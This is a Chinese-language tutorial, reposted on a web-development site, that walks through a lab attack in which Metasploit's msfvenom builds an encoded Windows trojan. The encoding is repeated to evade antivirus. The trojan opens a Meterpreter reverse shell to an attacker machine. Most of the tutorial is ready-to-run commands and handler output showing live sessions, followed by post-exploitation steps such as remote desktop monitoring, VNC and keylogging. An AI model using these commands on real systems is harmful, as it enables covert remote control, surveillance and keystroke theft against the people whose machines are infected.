分享web开发知识

注册/登录|最近发布|今日推荐

主页 IT知识网页技术软件开发前端开发代码编程运营维护技术分享教程案例
当前位置:首页 > 运营维护

Metasploit 生成木马反弹shell

发布时间:2023-09-06 01:51责任编辑:赖小花关键词:shell
Metasploit是一款开源的安全漏洞检测工具,可以帮助安全和IT专业人士识别安全性问题,验证漏洞的缓解措施,并管理专家驱动的安全性进行评估,提供真正的安全风险情报
特点:这种可以扩展的模型将负载控制,编码器,无操作生成器和漏洞整合在一起,使 Metasploit Framework 成为一种研究高危漏洞的途径。它集成了各平台上常见的溢出漏洞和流行的 shellcode ,并且不断更新。最新版本的 MSF 包含了750多种流行的操作系统及应用软件的漏洞,以及224个 shellcode 。作为安全工具,它在安全检测中用着不容忽视的作用,并为漏洞自动化探测和及时检测系统漏洞提供了有力保障。
Metasploit自带上百种漏洞,还可以在online exploit building demo(在线漏洞生成演示)上看到如何生成漏洞。这使自己编写漏洞变得更简单,它势必将提升非法shellcode的水平,并且扩大网络阴暗面。与其相似的专业漏洞工具,如Core Impact和Canvas已经被许多专业领域用户使用。Metasploit降低了使用的门槛,将其推广给大众。
接下来开始简单而又有趣的小实验
攻击机:KaliLinux--2018.1最新版的(刚安装的时候跑了很多坑) ???????????????????????????????ip:172.16.221.243
受害者:windows7 ??????????????????????????????ip:172.16.221.153
1.首先生成一个木马文件
(1)msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 ?LHOST=172.16.221.243 LPORT=12315 ?-f exe > ?/root/muma.exe
msfvenom用于生成木马文件
-p –payload < payload> 指定需要使用的payload(攻击荷载)
msfvenom -l payloads 查看所有的攻击载荷

windows/meterpreter/reverse_tcp 我们选择使用的攻击载荷
-e –encoder [encoder] 指定需要使用的encoder(编码器)
msfvenom -l encoders 查看编码

x86/shikata_ga_nai 我们所选择的编码格式(用于免杀)
-i 5 –iterations < count> 指定payload的编码次数为5次(次数越多免杀的概率越大)
LHOST指定ip地址
LPORT指定监听的端口可任意更改
-f –format < format> 指定输出格式 (使用 –help-formats 来获取msf支持的输出格式列表)
/root/muma.exe 指定到生成的目录
2.将木马文件移动到受害者主机
3.我是直接使用图形化armitage方便后面的操作

(1)use exploit/multi/handler 进入
(2)msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp 选择此攻击载荷
payload => windows/meterpreter/reverse_tcp ????此为回显内容证明已切换到此攻击载荷
(3)msf exploit(multi/handler) > show options 查看此攻击载荷的配置

 ?Module options (exploit/multi/handler): ?Name ?Current Setting ?Required ?Description ?---- ?--------------- ?-------- ?----------- ?Payload options (windows/meterpreter/reverse_tcp): ?Name ?????Current Setting ?Required ?Description ?---- ?????--------------- ?-------- ?----------- ?EXITFUNC ?process ?????????yes ??????Exit technique (Accepted: ‘‘, seh, thread, process, none) ?LHOST ????172.16.221.243 ??yes ??????The listen address ?LPORT ????18609 ???????????yes ??????The listen port ?Exploit target: ?Id ?Name ?-- ?---- ?0 ??Wildcard Target(回显内容)(4)msf exploit(multi/handler) > set LPORT 12315 将端口修改为生成木马文件时设置监听的端口 ?LPORT => 12315(回显内容证明修改成功)(5)msf exploit(multi/handler) > show options查看攻击载荷的配置 ?Module options (exploit/multi/handler): ?Name ?Current Setting ?Required ?Description ?---- ?--------------- ?-------- ?----------- ?Payload options (windows/meterpreter/reverse_tcp): ?Name ?????Current Setting ?Required ?Description ?---- ?????--------------- ?-------- ?----------- ?EXITFUNC ?process ?????????yes ??????Exit technique (Accepted: ‘‘, seh, thread, process, none) ?LHOST ????172.16.221.243 ??yes ??????The listen address ?LPORT ????12315(看这里端口已经更改了) ???????????yes ??????The listen port ?Exploit target: ?Id ?Name ?-- ?---- ?0 ??Wildcard Target

(6)msf exploit(multi/handler) > exploit运行(在受害者主机别忘了运行你的木马文件)
[] Started reverse TCP handler on 172.16.221.243:12315
[
] Sending stage (179779 bytes) to 172.16.221.153
[*] Meterpreter session 9 opened (172.16.221.243:12315 -> 172.16.221.153:50596) at ???2018-04-27 15:17:12 +0800

 ?[*] Meterpreter session 11 opened (172.16.221.243:12315 -> 172.16.221.153:50679) at 2018-04-27 15:37:31 +0800 ???????出现以上内容即为成功

4.刚才说过图形化方便操作,接下来给大家介绍一些小操作


电脑出现这样代表可以攻击了
鼠标右键会出现可用的载荷

运行一些shell命令,建议用meterpreter shell 来运行shell命令 我在做实验的时候其他的shell命令并不会运行

getuid ??获得uid
sysinfo ??查看系统
run vnc ??开启vnc
getdesktop ????远程监控桌面
浏览文件目录

键盘记录器都懂得

基本就是这些小操作

Metasploit 生成木马反弹shell

原文地址:http://blog.51cto.com/superwolf/2108600

知识推荐

我的编程学习网——分享web前端后端开发技术知识。 垃圾信息处理邮箱 tousu563@163.com 网站地图
icp备案号 闽ICP备2023006418号-8 不良信息举报平台 互联网安全管理备案 Copyright 2023 www.wodecom.cn All Rights Reserved